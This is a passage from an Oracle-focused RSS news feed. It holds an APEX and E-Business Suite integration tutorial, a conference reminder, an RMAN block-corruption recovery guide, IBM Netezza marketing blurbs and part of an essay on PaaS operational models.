 <description>&lt;a href=&quot;http://2.bp.blogspot.com/-Ab62tZx6tDw/TyqO6Q5pl0I/AAAAAAAAGQE/l5aNBPs7TYY/s1600/Screen+Shot+2012-02-02+at+14.25.48.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;http://2.bp.blogspot.com/-Ab62tZx6tDw/TyqO6Q5pl0I/AAAAAAAAGQE/l5aNBPs7TYY/s320/Screen+Shot+2012-02-02+at+14.25.48.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;Integrating APEX and EBS by using views is one of the easiest solutions (at first sight!).&lt;br /&gt;&lt;br /&gt;This is the first scenario, where I have an APEX application and I want to integrate with data sitting in EBS.&lt;br /&gt;&lt;br /&gt;Pre-requisites:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;APEX is installed in the same database as EBS (see &lt;a href=&quot;http://dgielis.blogspot.com/2012/01/e-business-suite-and-apex-installation.html&quot; target=&quot;_blank&quot;&gt;previous post&lt;/a&gt;).&amp;nbsp;&lt;/li&gt;&lt;li&gt;My APEX application (actually Workspace) is linked to my own (non-EBS) Oracle schema.&lt;/li&gt;&lt;/ul&gt;If you want&amp;nbsp;to view&amp;nbsp;data coming from EBS&amp;nbsp;in your APEX application, follow these steps:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;Identify where the data is in EBS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you are not familiar with the data model of EBS, it can be hard to find the right information. A good starting point would be the&amp;nbsp;APPS schema, because that has access to the complete Oracle E-Business Suite data model. You can compare it with the SYSTEM schema, which has access to the entire database.&lt;br /&gt;&lt;br /&gt;This pictures shows an overview of the APPS schema and base product schemas.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-6bJFSFxd03k/TyqTiOUO9uI/AAAAAAAAGQQ/ZMf95w40l0Y/s1600/cg_ch3_schema.gif&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-6bJFSFxd03k/TyqTiOUO9uI/AAAAAAAAGQQ/ZMf95w40l0Y/s1600/cg_ch3_schema.gif&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can read more about the APPS schema in the &lt;a href=&quot;http://docs.oracle.com/cd/E18727_01/doc.121/e12841/T120505T120510.htm&quot; target=&quot;_blank&quot;&gt;EBS documentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In my example I wanted to find the people that are in my organisation (HR). I started to look for views that would give me that information. My first query was like this:&lt;br /&gt;&lt;br /&gt;select object_name&lt;br /&gt;&amp;nbsp; from user_objects &lt;br /&gt;&amp;nbsp;where object_name like &#039;%PEOPLE%&#039; &lt;br /&gt;&amp;nbsp; &amp;nbsp;and object_type = &#039;VIEW&#039;&lt;br /&gt;order by 1&amp;nbsp;&lt;br /&gt;&lt;br /&gt;That query returned 82 rows in my environment. In the results I saw e.g. ADS_PEOPLE_V, HRBG_PEOPLE, PER_ALL_PEOPLE, PER_PEOPLE, PER_PEOPLE_F etc.&lt;br /&gt;&lt;br /&gt;I started to look at the definitions of those, but if you are not familiar with EBS it&#039;s hard to know which one is the one you need. So my recommendation would definitely be; when you are not that familiar with EBS, talk with somebody who knows more about it. For me that is the case, I only started to look into EBS and actually do something with it, a few weeks ago.&lt;br /&gt;&lt;br /&gt;When I talked to somebody more experienced in EBS, he told me I probably wanted to look at PER_ALL_PEOPLE_F. Hmm, that wasn&#039;t in the result set of the above query. After investigating a bit more PER_ALL_PEOPLE_F is a synonym for HR.PER_ALL_PEOPLE_F.&lt;br /&gt;&lt;br /&gt;I wanted to understand the naming convention in EBS a bit better e.g. for the PER%PEOPLE% objects. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-R1ZmkaAGnRA/Tyu7_j6Mn0I/AAAAAAAAGQc/93DO5a4k-ME/s1600/per_people.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://4.bp.blogspot.com/-R1ZmkaAGnRA/Tyu7_j6Mn0I/AAAAAAAAGQc/93DO5a4k-ME/s400/per_people.png&quot; width=&quot;296&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Below I created a table how I interpret the EBS objects:&lt;br /&gt;&lt;br /&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot;&gt;&lt;tr&gt;&lt;td&gt;View /Synonym (^)&lt;/td&gt;&lt;td&gt;count(*)&lt;/td&gt;&lt;td&gt;count(distinct person_id)&lt;/td&gt;&lt;td&gt;Interpretation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_all_people_f (^)&lt;/td&gt;&lt;td&gt;32295&lt;/td&gt;&lt;td&gt;18518&lt;/td&gt;&lt;td&gt;Synonym to real HR table&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_all_people&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;Needs EBS session (record inFND_SESSIONS) so it knows what you can see&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_all_people_d&lt;/td&gt;&lt;td&gt;32295&lt;/td&gt;&lt;td&gt;18518&lt;/td&gt;&lt;td&gt;All records but showstranslated text if user settings are applied&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_people&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;Needs EBS session, showseffective records based on user&#039;s date&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_people_f&lt;/td&gt;&lt;td&gt;32295&lt;/td&gt;&lt;td&gt;18518&lt;/td&gt;&lt;td&gt;EBS security implemented, youonly see records you are allowed to see &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_people_v&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;Needs EBS Session, includes alot of display text and is language dependend&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;per_people_x&lt;/td&gt;&lt;td&gt;18518&lt;/td&gt;&lt;td&gt;18518&lt;/td&gt;&lt;td&gt;EBS security implemented (sameas per_people_f), but limits to only the effective records &lt;br /&gt;(WHERE TRUNC(SYSDATE) BETWEEN EFFECTIVE_START_DATE ANDEFFECTIVE_END_DATE)&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;So to me PER_PEOPLE_X looks like a good candidate to use in my APEX application. If I&#039;m not logged into the app as an E-Business user I still see all records that are effective at the time I run the query.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Create a view on top of the EBS views and use some naming conventions so it&#039;s easy to recognise which objects you created and are not native EBS ones.&lt;br /&gt;&lt;br /&gt;create view apex_per_people_vw as select * from per_people_x&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Grant access on that view to the schema that is linked to your APEX workspace and application&lt;br /&gt;&lt;br /&gt;grant select on apex_per_people_vw to apex_ebs&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Create a view in your own schema that selects everything from the view in the apps schema.&lt;br /&gt;We do that so that the views are a one-on-one mapping between schema&#039;s, but they show up in the APEX wizards.&lt;br /&gt;&lt;br /&gt;create view apex_per_people_vw as select * from apps.apex_per_people_vw&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Create an Interactive Report on top of the view&lt;br /&gt;&lt;br /&gt;&lt;img border=&quot;0&quot; height=&quot;339&quot; src=&quot;http://3.bp.blogspot.com/-5KlCUSe3KHU/TyvFHoLZ-1I/AAAAAAAAGQo/CwWmGdJmpzY/s640/report.png&quot; width=&quot;640&quot; /&gt;&lt;/li&gt;&lt;/ol&gt;This first examples shows how you can view data from EBS in your own APEX application. We can now create a calendar, charts etc. in APEX based on the data coming from EBS. In the next post I will show how you can edit this data.&lt;br /&gt;Previous related posts:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://dgielis.blogspot.com/2012/02/e-business-suite-and-apex-integration.html&quot; target=&quot;_blank&quot;&gt;E-Business Suite and APEX integration (overview)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://dgielis.blogspot.com/2012/01/e-business-suite-and-apex-installation.html&quot; target=&quot;_blank&quot;&gt;E-Business Suite and APEX installation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://dgielis.blogspot.com/2012/01/apex-and-e-business-suite-integration.html&quot; target=&quot;_blank&quot;&gt;APEX and E-Business Suite integration&lt;/a&gt;&amp;nbsp;(OBUG event)&lt;/li&gt;&lt;/ul&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/21122514-8372726233805719994?l=dgielis.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 12:38:39 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18205 at http://www.ora600.be</guid>
</item>
<item>
 <title>RMOUG</title>
 <link>http://www.ora600.be/news/rmoug</link>
 <description>&lt;p&gt;Just a quick reminder that the Rocky Mountain Oracle User Group &lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://www.rmoug.org/training.htm&quot;&gt;Training days&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; are just eleven days away. It&amp;#8217;s one of the best Oracle events I&amp;#8217;ve attended, and I&amp;#8217;ll be there again this year. There are plenty of good speakers and &lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://www.technicalconferencesolutions.com/pls/caat/caat_abstract_reports.schedule?conference_id=99&quot;&gt;interesting presentations&lt;/a&gt;&lt;/strong&gt;&lt;/em&gt; on a wide range of topics &amp;#8211; and if you&amp;#8217;re wandering around between sessions with nothing to do, I&amp;#8217;ll be around too and will be happy to say hello and have a chat.&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s the list of things I&amp;#8217;ve pencilled in on my timetable so far. (Some of the gaps are there because I&amp;#8217;m doing three presentations myself, some are there because I haven&amp;#8217;t decided what to see yet.)&lt;/p&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;&gt;

&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;6%&quot;&gt;Wednesday&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;4%&quot;&gt;9:15&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Database I/O Performance: Measuring and Planning &amp;#8211; Alex Gorbachev, Pythian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;6%&quot;&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;4%&quot;&gt;10:45&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Parallel Execution in RAC &amp;#8211; Riyaj Shamsudeen, OraInternals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;6%&quot;&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;4%&quot;&gt;16:00&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Making Sense of Big Data &amp;#8211; Gwen Shapira, Pythian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;6%&quot;&gt;Thursday&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;4%&quot;&gt;8:30&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Developing and Deploying Extremely Large Databases with Oracle 11gR2 &amp;#8211; Daniel Morgan, Morgan&amp;#8217;s Library&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;6%&quot;&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;4%&quot;&gt;9:45&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Mining the AWR Repository for Capacity Planning, Visualization, and other Real World Stuff &amp;#8211; Karl Arao, Enkitec&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=&quot;top&quot; width=&quot;6%&quot;&gt;&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;4%&quot;&gt;13:30&lt;/td&gt;
&lt;td valign=&quot;top&quot; width=&quot;55%&quot;&gt;Using Oracle Execution Plans for Performance Gains &amp;#8211; Janis Griffin, Confio Software&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;p&gt;If nothing else catches your eye, don&amp;#8217;t miss out the opportunity to hear Maria Colgan talking about the optimizer. She&amp;#8217;s doing three presenations (and only one of them coincides with one of mine) and they&amp;#8217;re all worth hearing.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/jonathanlewis.wordpress.com/8373/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/jonathanlewis.wordpress.com/8373/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=jonathanlewis.wordpress.com&amp;amp;blog=491988&amp;amp;post=8373&amp;amp;subd=jonathanlewis&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 10:40:51 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18204 at http://www.ora600.be</guid>
</item>
<item>
 <title>RMAN BACKUP VALIDATION AND RECOVERY FROM BLOCK CORRUPTION:</title>
 <link>http://www.ora600.be/news/rman-backup-validation-and-recovery-block-corruption</link>
 <description>&lt;br /&gt;The main purpose of RMAN validation is to check for corrupt blocks and missing files&lt;br /&gt;&lt;b&gt;Corruption in block:&lt;/b&gt;&lt;br /&gt;Block corruption is while the data is being written to the data blocks, if the write to the block fails abruptly, I mean that there is a partial write in the block, may be because of power disruption or I/O problem, leaving no time for header to be updated, or row data to be populated, oracle leaves the block corrupt.In case of block corruption you can normally use the database unless you try to read that particular block, against which it shoots up the block corruption error.Generally block corruption occurs if write fails on the block, when the transaction is being committed&lt;br /&gt;&lt;b&gt;Physical(media corrupt) and Logical(software corrupt) Block Corruption:&lt;/b&gt;&lt;br /&gt;In a physical corruption, which is also called a media corruption, the database does not recognize the block at all: the checksum is invalid.&lt;br /&gt;&lt;b&gt;Checksum:&lt;/b&gt;&lt;br /&gt;A number calculated by the database from all the bytes stored in a data or redo block. If the DB_BLOCK_CHECKSUM initialization parameter is enabled, then the database calculates the checksum for every datafile or online redo log block and stores it in the block header when writing to disk. The database can use the checksum value to check consistency.&lt;br /&gt;In a logical corruption, the contents of the block are logically inconsistent.&lt;br /&gt;The logical corruption happens within the blocks , for eg. some index entry pointing towards a null rowid.&lt;br /&gt;&lt;b&gt;Validating Database Files with BACKUP VALIDATE:&lt;/b&gt;&lt;br /&gt;You can use the BACKUP VALIDATE command to do the following:&lt;br /&gt;-Check datafiles for physical and logical block corruption.&lt;br /&gt;-Confirm that all database files exist and are in the correct locations.&lt;br /&gt;&lt;br /&gt;Validating only physical corruption:&lt;br /&gt;BACKUP VALIDATE DATABASE ARCHIVELOG ALL;&lt;br /&gt;Validating both physical and logical corruption:&lt;br /&gt;BACKUP VALIDATE CHECK LOGICAL DATABASE ARCHIVELOG ALL;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Validating Backups Before Restoring Them:&lt;/b&gt;&lt;br /&gt;You can run RESTORE ... VALIDATE to test whether RMAN can restore a specific file or set of files from a backup.&lt;br /&gt;RESTORE DATABASE VALIDATE;&lt;br /&gt;RESTORE ARCHIVELOG ALL VALIDATE;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;RECOVRING A BLOCK CORRUPTION:&lt;/b&gt;&lt;br /&gt;If it finds corrupted blocks(after checking with BACKUP VALIDATE CHECK LOGICAL DATABASE ARCHIVELOG ALL;) it will place the information about the corruption into a view:&lt;br /&gt;v$database_block_corruption&lt;br /&gt;SQL&amp;gt;select * from v$database_block_corruption;&lt;br /&gt;FILE# BLOCK# BLOCKS CORRUPTION_CHANGE# CORRUPTIO———- ———- ———- —————— ———5 81 4 0 CORRUPT&lt;br /&gt;this is what we find in the alert_.log:&lt;br /&gt;Corrupt block relative dba: 0x014000b1 (file 5, block 177)Bad header found during backing up datafileData in bad block:type: 67 format: 7 rdba: 0x0a545055last change scn: 0×0000.0007bc77 seq: 0×3 flg: 0×04spare1: 0×52 spare2: 0×52 spare3: 0×0consistency value in tail: 0xbc772003check value in block header: 0xb32computed block checksum: 0xe4c1Reread of blocknum=177, file=/u01/app/oracle/oradata/orcl/example01.dbf.found same corrupt data&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Now we can tell RMAN to recover all the blocks which it has found as being corrupt:&lt;br /&gt;RMAN&amp;gt; blockrecover corruption list;&lt;br /&gt;# (all blocks from v$database_block_corruption)Starting blockrecover at 05-04-2006:10:09:15using channel ORA_DISK_1channel ORA_DISK_1: restoring block(s) from datafile copy /u01/app/oracle/flash_recovery_area/ORCL/datafile/o1_mf_example_236tmb1c_.dbfstarting media recoveryarchive log thread 1 sequence 2 is already on disk as file /u01/app/oracle/flash_recovery_area/ORCL/archivelog/2006_04_05/o1_mf_1_2_236wxbsp_.arcarchive log thread 1 sequence 1 is already on disk as file/u01/app/oracle/oradata/orcl/redo01.logmedia recovery complete, elapsed time: 00:00:01Finished blockrecover at 05-04-2006:10:09:24&lt;br /&gt;Also read:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://blog.aristadba.com/?p=109&quot;&gt;Segment checking using DBV&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.oracleflash.com/42/Use-DBMS_REPAIR-to-fix-physically-corrupt-data-block.html&quot;&gt;DBMS_REPAIR&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enjoy:-)&lt;br /&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/7401441800772359451-7195538794680254680?l=vishwanath-dbahelp.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 08:47:00 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18202 at http://www.ora600.be</guid>
</item>
<item>
 <title>Log Buffer #257, A Carnival of the Vanities for DBAs</title>
 <link>http://www.ora600.be/news/log-buffer-257-carnival-vanities-dbas</link>
 <description>With new year many new projects, new technologies, new frameworks and new ideas are springing up at the speed of light and bloggers in the database arena are keeping up with this pace and this Log Buffer Edition is also living up to that pace and covers some of those posts in Log Buffer #257. [...]</description>
 <pubDate>Fri, 03 Feb 2012 07:00:15 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18203 at http://www.ora600.be</guid>
</item>
<item>
 <title>Big recognition for IBM big data</title>
 <link>http://www.ora600.be/news/big-recognition-ibm-big-data</link>
 <description>&lt;p&gt;These days, it’s hard to find a business conference or read a publication that doesn’t talk about big data. Even the recent World Economic Forum in Davos, Switzerland, featured more than &lt;strong&gt;&lt;a href=&quot;http://bit.ly/w9miV0&quot;&gt;40 presentations&lt;/a&gt;&lt;/strong&gt; on this hot technology. Because of all the recent talk, many people think big data is new. While it’s true that big data is suddenly gaining more attention, we at IBM have been investing in this space for many years, and are confident that we have the strongest strategy and deepest solution offering on the market. Now, an independent research firm has validated our belief.&lt;/p&gt;
&lt;img src=&quot;http://feeds.feedburner.com/~r/netezza/allblogs/~4/ElHR68Tif7k&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 06:00:00 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18210 at http://www.ora600.be</guid>
</item>
<item>
 <title>Customer move to Netezza in days, not months</title>
 <link>http://www.ora600.be/news/customer-move-netezza-days-not-months</link>
 <description>&lt;p&gt;A number of Teradata customers have moved some or all of their data and analytic applications to IBM Netezza data warehouse appliances. The reasons these customers give for their move invariably include:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;
		Time to value&lt;/li&gt;
&lt;li&gt;
		Agility and the ability to grow with new workloads&lt;/li&gt;
&lt;li&gt;
		Reducing their cost of ongoing maintenance&lt;/li&gt;
&lt;li&gt;
		Improving query performance – particularly for complex analytics and ad-hoc environments as data volumes grow.&lt;/li&gt;
&lt;/ul&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/netezza/allblogs/~4/2iZ-UF8CUas&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 06:00:00 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18211 at http://www.ora600.be</guid>
</item>
<item>
 <title>Come for the PaaS Functional Model, stay for the Cloud Operational Model</title>
 <link>http://www.ora600.be/news/come-paas-functional-model-stay-cloud-operational-model</link>
 <description>&lt;p&gt;The Functional Model of PaaS is nice, but the Operational Model matters more.&lt;/p&gt;
&lt;p&gt;Let&amp;#8217;s first define these terms.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Functional Model&lt;/strong&gt; is what the platform does for you. For example, in the case of AWS S3, it means storing objects and making them accessible via HTTP.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Operational Model&lt;/strong&gt; is how you consume the platform service. How you request it, how you manage it, how much it costs, basically the total sum of the responsibility you have to accept if you use the features in the Functional Model. In the case of S3, the Operational Model is made of an API/UI to manage it, a bill that comes every month, and a support channel which &lt;a href=&quot;http://aws.amazon.com/premiumsupport/&quot;&gt;depends on the contract you bought&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Operational Model is where the S (&amp;#8220;service&amp;#8221;) in &amp;#8220;PaaS&amp;#8221; takes over from the P (&amp;#8220;platform&amp;#8221;). The Operational Model is not always as glamorous as new runtime features. But it&amp;#8217;s what makes Cloud Cloud. If a provider doesn&amp;#8217;t offer the specific platform feature your application developers desire, you can work around it. Either by using a slightly-less optimal approach or by building the feature yourself on top of lower-level building blocks (as Netflix did with Cassandra on EC2 before DynamoDB was an option). But if your provider doesn&amp;#8217;t offer an Operational Model that supports your processes and business requirements, then you&amp;#8217;re getting a hipster&amp;#8217;s app server, not a real PaaS. It doesn&amp;#8217;t matter how easy it was to put together a proof-of-concept on top of that PaaS if using it in production is playing Russian roulette with your business.&lt;/p&gt;
&lt;p&gt;If the Cloud Operational Model is so important, what defines it and what makes a good Operational Model? In short, the Operational Model must be able to integrate with the consumer&amp;#8217;s key processes: the business processes, the development processes, the IT processes, the customer support processes, the compliance processes, etc.&lt;/p&gt;
&lt;p&gt;To make things more concrete, here are some of the key aspects of the Operational Model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deployment / configuration / management&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I won&amp;#8217;t spend much time on this one, as it&amp;#8217;s the most understood aspect. Most Clouds offer both a UI and an API to let you provision and control the artifacts (e.g. VMs, application containers, etc) via which you access the PaaS functional interface. But, while necessary, this API is only a piece of a complete operational interface.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Support&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What happens when things go wrong? What support channels do you have access to? Every Cloud provider will show you a list of support options, but what&amp;#8217;s really behind these options? And do they have the capability (technical and logistical) to handle all your issues? Do they have deep expertise in all the software components that make up their infrastructure (especially in PaaS) from top to bottom? Do they run their own datacenter or do they themselves rely on a customer support channel for any issue at that level?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SLAs&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I personally think discussions around SLAs are overblown (it seems like people try to reduce the entire Cloud Operational Model to a provisioning API plus an SLA, which is comically simplistic). But SLAs are indeed part of the Operational Model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Infrastructure change management&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It&amp;#8217;s very nice how, in a PaaS setting, the Cloud provider takes care of all change management tasks (including patching) for the infrastructure. But the fact that your Cloud provider and you agree on this doesn&amp;#8217;t neutralize Murphy&amp;#8217;s law any more than me wearing Michael Jordan sneakers neutralizes the law of gravity when I (try to) dunk.&lt;/p&gt;
&lt;p&gt;In other words, if a patch or update is worth testing in a staging environment if you were to apply it on-premise, what makes you think that it&amp;#8217;s less likely to cause a problem if it&amp;#8217;s the Cloud provider who rolls it out? Sure, in most cases it will work just fine and you can sing the praise of &amp;#8220;NoOps&amp;#8221;. Until the day when things go wrong, your users are affected and you&amp;#8217;re taken completely off-guard. Good luck debugging that problem, when you don&amp;#8217;t even know that an infrastructure change is being rolled out and when it might not even have been rolled out uniformly across all instances of your application.&lt;/p&gt;
&lt;p&gt;How is that handled in your provider&amp;#8217;s Operational Model? Do you have visibility into the change schedule? Do you have the option to test your application on the new infrastructure or to at least influence in any way how and when the change gets rolled out to your instances?&lt;/p&gt;
&lt;p&gt;Note: I&amp;#8217;ve covered this &lt;a href=&quot;http://stage.vambenepe.com/archives/1025&quot;&gt;in more details&lt;/a&gt; before and so has &lt;a href=&quot;http://www.rationalsurvivability.com/blog/?p=1354&quot;&gt;Chris Hoff&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Diagnostic&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Developers have assembled a panoply of diagnostic tools (memory/thread analysis, BTM, user experience, logging, tracing&amp;#8230;) for the on-premise model. Many of these won&amp;#8217;t work in PaaS settings because they require a console on the local machine, or an agent, or a specific port open, or a specific feature enabled in the runtime. But the need doesn&amp;#8217;t go away. How does your PaaS Operational Model support that process?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Customer support&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&amp;#8217;re a customer of your Cloud, but you have customers of your own and you have to support them. Do you have the tools to react to their issues involving your Cloud-deployed application? Can you link their service requests with the related actions and data exposed via your Cloud&amp;#8217;s operational interface?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Security / compliance&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Security is part of what a Cloud provider has to worry about. The problem is, it&amp;#8217;s a very relative concept. The issue is not what security the Cloud provider needs, it&amp;#8217;s what security its customers need. They have requirements. They have mandates. They have regulations and audits. In short, they have their own security processes. The key question, from their perspective, is not whether the provider&amp;#8217;s security is &amp;#8220;good&amp;#8221;, but whether it accommodates their own security process. Which is why security is not a &amp;#8220;trust us&amp;#8221; black box (I don&amp;#8217;t think anyone has coined &amp;#8220;NoSec&amp;#8221; yet, but it can&amp;#8217;t be far behind &amp;#8220;NoOps&amp;#8221;) but an integral part of the Cloud Operational Model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Business management&lt;/strong&gt;&lt;/p&gt;
